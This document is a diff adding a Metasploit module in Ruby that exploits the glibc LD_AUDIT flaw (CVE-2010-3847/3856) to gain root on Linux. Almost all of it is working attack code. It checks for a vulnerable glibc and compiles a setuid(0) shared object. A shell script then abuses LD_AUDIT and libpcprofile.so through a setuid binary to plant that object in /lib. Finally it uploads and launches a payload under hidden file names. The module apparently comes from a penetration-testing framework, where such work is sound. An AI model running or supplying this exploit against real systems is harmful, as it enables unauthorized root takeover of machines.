|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core/exploit/local/linux' |
| 7 | +require 'msf/core/exploit/exe' |
| 8 | + |
| 9 | +class MetasploitModule < Msf::Exploit::Local |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Post::File |
| 13 | + include Msf::Exploit::EXE |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + include Msf::Exploit::Local::Linux |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation', |
| 20 | + 'Description' => %q{ |
| 21 | + This module attempts to gain root privileges on Linux systems by abusing |
| 22 | + a vulnerability in the GNU C Library (glibc) dynamic linker. |
| 23 | +
|
| 24 | + glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not |
| 25 | + properly restrict use of the LD_AUDIT environment variable when loading |
| 26 | + setuid executables. This allows loading arbitrary shared objects from |
| 27 | + the trusted library search path with the privileges of the suid user. |
| 28 | +
|
| 29 | + This module uses LD_AUDIT to load the libpcprofile.so shared object, |
| 30 | + distributed with some versions of glibc, and leverages arbitrary file |
| 31 | + creation functionality in the library constructor to write a root-owned |
| 32 | + world-writable file to a system trusted search path (usually /lib). |
| 33 | + The file is then overwritten with a shared object then loaded with |
| 34 | + LD_AUDIT resulting in arbitrary code execution. |
| 35 | +
|
| 36 | + This module has been tested successfully on glibc version 2.11.1 on |
| 37 | + Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386. |
| 38 | +
|
| 39 | + RHEL 5 is reportedly affected, but untested. Some glibc distributions |
| 40 | + do not contain the libpcprofile.so library required for successful |
| 41 | + exploitation. |
| 42 | + }, |
| 43 | + 'License' => MSF_LICENSE, |
| 44 | + 'Author' => |
| 45 | + [ |
| 46 | + 'Tavis Ormandy', # Discovery and exploit |
| 47 | + 'zx2c4', # "I Can't Read and I Won't Race You Either" exploit |
| 48 | + 'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits |
| 49 | + 'Todor Donev', # libmemusage.so exploit |
| 50 | + 'Brendan Coles' # Metasploit |
| 51 | + ], |
| 52 | + 'DisclosureDate' => 'Oct 18 2010', |
| 53 | + 'Platform' => 'linux', |
| 54 | + 'Arch' => [ ARCH_X86, ARCH_X64 ], |
| 55 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 56 | + 'Targets' => |
| 57 | + [ |
| 58 | + [ 'Automatic', { } ], |
| 59 | + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], |
| 60 | + [ 'Linux x64', { 'Arch' => ARCH_X64 } ] |
| 61 | + ], |
| 62 | + 'DefaultTarget' => 0, |
| 63 | + 'References' => |
| 64 | + [ |
| 65 | + [ 'CVE', '2010-3847' ], |
| 66 | + [ 'CVE', '2010-3856' ], |
| 67 | + [ 'BID', '44154' ], |
| 68 | + [ 'BID', '44347' ], |
| 69 | + [ 'EDB', '15274' ], |
| 70 | + [ 'EDB', '15304' ], |
| 71 | + [ 'EDB', '18105' ], |
| 72 | + [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ], |
| 73 | + [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ], |
| 74 | + [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ], |
| 75 | + [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ], |
| 76 | + [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ], |
| 77 | + [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ], |
| 78 | + [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ] |
| 79 | + ] |
| 80 | + )) |
| 81 | + register_options( |
| 82 | + [ |
| 83 | + OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]), |
| 84 | + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) |
| 85 | + ]) |
| 86 | + end |
| 87 | + |
| 88 | + def base_dir |
| 89 | + datastore['WritableDir'] |
| 90 | + end |
| 91 | + |
| 92 | + def suid_exe_path |
| 93 | + datastore['SUID_EXECUTABLE'] |
| 94 | + end |
| 95 | + |
| 96 | + def check |
| 97 | + glibc_banner = cmd_exec 'ldd --version' |
| 98 | + glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first |
| 99 | + if glibc_version.to_s.eql? '' |
| 100 | + vprint_error 'Could not determine the GNU C library version' |
| 101 | + return CheckCode::Safe |
| 102 | + elsif glibc_version >= Gem::Version.new('2.12.2') || |
| 103 | + (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12')) |
| 104 | + vprint_error "GNU C Library version #{glibc_version} is not vulnerable" |
| 105 | + return CheckCode::Safe |
| 106 | + end |
| 107 | + vprint_good "GNU C Library version #{glibc_version} is vulnerable" |
| 108 | + |
| 109 | + lib = 'libpcprofile.so' |
| 110 | + @lib_dir = nil |
| 111 | + vprint_status "Checking for #{lib} in system search paths" |
| 112 | + search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='" |
| 113 | + search_paths.split('path=')[1..-1].join.split(':').each do |path| |
| 114 | + lib_dir = path.to_s.strip |
| 115 | + next if lib_dir.eql? '' |
| 116 | + libs = cmd_exec "ls '#{lib_dir}'" |
| 117 | + if libs.include? lib |
| 118 | + @lib_dir = lib_dir |
| 119 | + break |
| 120 | + end |
| 121 | + end |
| 122 | + if @lib_dir.nil? |
| 123 | + vprint_error "Could not find #{lib}" |
| 124 | + return CheckCode::Safe |
| 125 | + end |
| 126 | + vprint_good "Found #{lib} in #{@lib_dir}" |
| 127 | + |
| 128 | + unless setuid? suid_exe_path |
| 129 | + vprint_error "#{suid_exe_path} is not setuid" |
| 130 | + return CheckCode::Detected |
| 131 | + end |
| 132 | + vprint_good "#{suid_exe_path} is setuid" |
| 133 | + |
| 134 | + CheckCode::Appears |
| 135 | + end |
| 136 | + |
| 137 | + def upload_and_chmodx(path, data) |
| 138 | + print_status "Writing '#{path}' (#{data.size} bytes) ..." |
| 139 | + rm_f path |
| 140 | + write_file path, data |
| 141 | + cmd_exec "chmod +x '#{path}'" |
| 142 | + register_file_for_cleanup path |
| 143 | + end |
| 144 | + |
| 145 | + def on_new_session(client) |
| 146 | + # remove root owned shared object from system load path |
| 147 | + if client.type.eql? 'meterpreter' |
| 148 | + client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi' |
| 149 | + client.fs.file.rm @so_path |
| 150 | + else |
| 151 | + client.shell_command_token "rm #{@so_path}" |
| 152 | + end |
| 153 | + end |
| 154 | + |
| 155 | + def exploit |
| 156 | + check_status = check |
| 157 | + |
| 158 | + if check_status == CheckCode::Appears |
| 159 | + print_good 'The target appears to be vulnerable' |
| 160 | + elsif check_status == CheckCode::Detected |
| 161 | + fail_with Failure::BadConfig, "#{suid_exe_path} is not suid" |
| 162 | + else |
| 163 | + fail_with Failure::NotVulnerable, 'Target is not vulnerable' |
| 164 | + end |
| 165 | + |
| 166 | + payload_name = ".#{rand_text_alphanumeric rand(5..10)}" |
| 167 | + payload_path = "#{base_dir}/#{payload_name}" |
| 168 | + |
| 169 | + # Set target |
| 170 | + uname = cmd_exec 'uname -m' |
| 171 | + vprint_status "System architecture is #{uname}" |
| 172 | + if target.name.eql? 'Automatic' |
| 173 | + case uname |
| 174 | + when 'x86_64' |
| 175 | + my_target = targets[2] |
| 176 | + when /x86/, /i\d86/ |
| 177 | + my_target = targets[1] |
| 178 | + else |
| 179 | + fail_with Failure::NoTarget, 'Unable to automatically select a target' |
| 180 | + end |
| 181 | + else |
| 182 | + my_target = target |
| 183 | + end |
| 184 | + print_status "Using target: #{my_target.name}" |
| 185 | + |
| 186 | + cpu = nil |
| 187 | + case my_target['Arch'] |
| 188 | + when ARCH_X86 |
| 189 | + cpu = Metasm::Ia32.new |
| 190 | + when ARCH_X64 |
| 191 | + cpu = Metasm::X86_64.new |
| 192 | + else |
| 193 | + fail_with Failure::NoTarget, 'Target is not compatible' |
| 194 | + end |
| 195 | + |
| 196 | + # Compile shared object |
| 197 | + so_stub = %| |
| 198 | + extern int setuid(int); |
| 199 | + extern int setgid(int); |
| 200 | + extern int system(const char *__s); |
| 201 | +
|
| 202 | + void init(void) __attribute__((constructor)); |
| 203 | +
|
| 204 | + void __attribute__((constructor)) init() { |
| 205 | + setuid(0); |
| 206 | + setgid(0); |
| 207 | + system("#{payload_path}"); |
| 208 | + } |
| 209 | + | |
| 210 | + |
| 211 | + begin |
| 212 | + so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib) |
| 213 | + rescue |
| 214 | + print_error "Metasm encoding failed: #{$ERROR_INFO}" |
| 215 | + elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" |
| 216 | + elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" |
| 217 | + fail_with Failure::Unknown, 'Metasm encoding failed' |
| 218 | + end |
| 219 | + |
| 220 | + # Upload shared object |
| 221 | + so_name = ".#{rand_text_alphanumeric rand(5..10)}" |
| 222 | + so_path = "#{base_dir}/#{so_name}" |
| 223 | + upload_and_chmodx so_path, so |
| 224 | + |
| 225 | + # Upload exploit |
| 226 | + @so_path = "#{@lib_dir}/#{so_name}.so" |
| 227 | + exp = %( |
| 228 | + umask 0 |
| 229 | + LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null |
| 230 | + umask 0022 |
| 231 | + cat #{so_path} > #{@so_path} |
| 232 | + LD_AUDIT="#{so_name}.so" #{suid_exe_path} |
| 233 | + echo > #{@so_path} |
| 234 | + ) |
| 235 | + exp_name = ".#{rand_text_alphanumeric rand(5..10)}" |
| 236 | + exp_path = "#{base_dir}/#{exp_name}" |
| 237 | + upload_and_chmodx exp_path, exp |
| 238 | + |
| 239 | + # Upload payload |
| 240 | + upload_and_chmodx payload_path, generate_payload_exe |
| 241 | + |
| 242 | + # Launch exploit |
| 243 | + print_status 'Launching exploit...' |
| 244 | + # The echo at the end of the command is required |
| 245 | + # else the original session may die |
| 246 | + output = cmd_exec "#{exp_path}& echo " |
| 247 | + output.each_line { |line| vprint_status line.chomp } |
| 248 | + end |
| 249 | +end |
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